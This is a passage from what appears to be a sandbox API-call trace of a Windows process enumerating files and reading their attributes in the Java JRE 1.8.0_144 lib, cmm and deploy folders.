	[0244.931] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.931] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105e2a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0244.966] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0245.016] SetEvent (hEvent=0x190) returned 1
	[0245.016] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.016] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\*", lpFindFileData=0xc0001df548 | out: lpFindFileData=0xc0001df548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105e2a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0245.016] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105e2a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0245.016] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc824, dwReserved0=0x0, dwReserved1=0x0, cFileName="CIEXYZ.pf", cAlternateFileName="")) returned 1
	[0245.016] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x278, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAY.pf", cAlternateFileName="")) returned 1
	[0245.017] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="LINEAR_RGB.pf", cAlternateFileName="LINEAR~1.PF")) returned 1
	[0245.017] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4302a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PYCC.pf", cAlternateFileName="")) returned 1
	[0245.017] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x0, dwReserved1=0x0, cFileName="sRGB.pf", cAlternateFileName="")) returned 1
	[0245.017] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0245.017] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0245.021] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0245.021] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc824)) returned 1
	[0245.022] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0245.022] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x278)) returned 1
	[0245.022] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0245.022] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x414)) returned 1
	[0245.024] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x56, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0245.024] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4302a)) returned 1
	[0245.024] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0245.024] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc48)) returned 1
	[0245.025] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0245.025] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15ac)) returned 1
	[0245.026] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x5c, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0245.026] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x101a)) returned 1
	[0245.026] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0245.027] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa10e432c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0245.027] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.027] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\*", lpFindFileData=0xc0001df548 | out: lpFindFileData=0xc0001df548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa10e432c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0245.249] SetEvent (hEvent=0x124) returned 1
	[0245.249] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa10e432c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0245.249] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x374c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ffjcext.zip", cAlternateFileName="")) returned 1
	[0245.249] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xb2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.properties", cAlternateFileName="MESSAG~1.PRO")) returned 1
	[0245.249] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcea, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_de.properties", cAlternateFileName="MESSAG~2.PRO")) returned 1
	[0245.249] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe10, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_es.properties", cAlternateFileName="MESSAG~3.PRO")) returned 1
	[0245.249] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xd51, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_fr.properties", cAlternateFileName="MESSAG~4.PRO")) returned 1
	[0245.250] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc97, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_it.properties", cAlternateFileName="MEC9EA~1.PRO")) returned 1
	[0245.250] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x18cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_ja.properties", cAlternateFileName="ME4AF1~1.PRO")) returned 1
	[0245.250] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1650, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_ko.properties", cAlternateFileName="ME1706~1.PRO")) returned 1
	[0245.250] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_pt_BR.properties", cAlternateFileName="MED1E1~1.PRO")) returned 1
	[0245.250] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xd51, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_sv.properties", cAlternateFileName="ME0541~1.PRO")) returned 1
	[0245.250] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xfe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_zh_CN.properties", cAlternateFileName="ME40CD~1.PRO")) returned 1
	[0245.250] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_zh_HK.properties", cAlternateFileName="MEB8B5~1.PRO")) returned 1
	[0245.250] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_zh_TW.properties", cAlternateFileName="MECC18~1.PRO")) returned 1
	[0245.250] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x218e, dwReserved0=0x0, dwReserved1=0x0, cFileName="splash.gif", cAlternateFileName="")) returned 1
	[0245.250] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3bac, dwReserved0=0x0, dwReserved1=0x0, cFileName="splash@2x.gif", cAlternateFileName="SPLASH~1.GIF")) returned 1
	[0245.250] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1e7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="splash_11-lic.gif", cAlternateFileName="SPLASH~2.GIF")) returned 1
	[0245.250] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2fda, dwReserved0=0x0, dwReserved1=0x0, cFileName="splash_11@2x-lic.gif", cAlternateFileName="SPLASH~3.GIF")) returned 1
	[0245.251] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0245.251] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0245.255] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x4a, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0245.255] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x374c)) returned 1
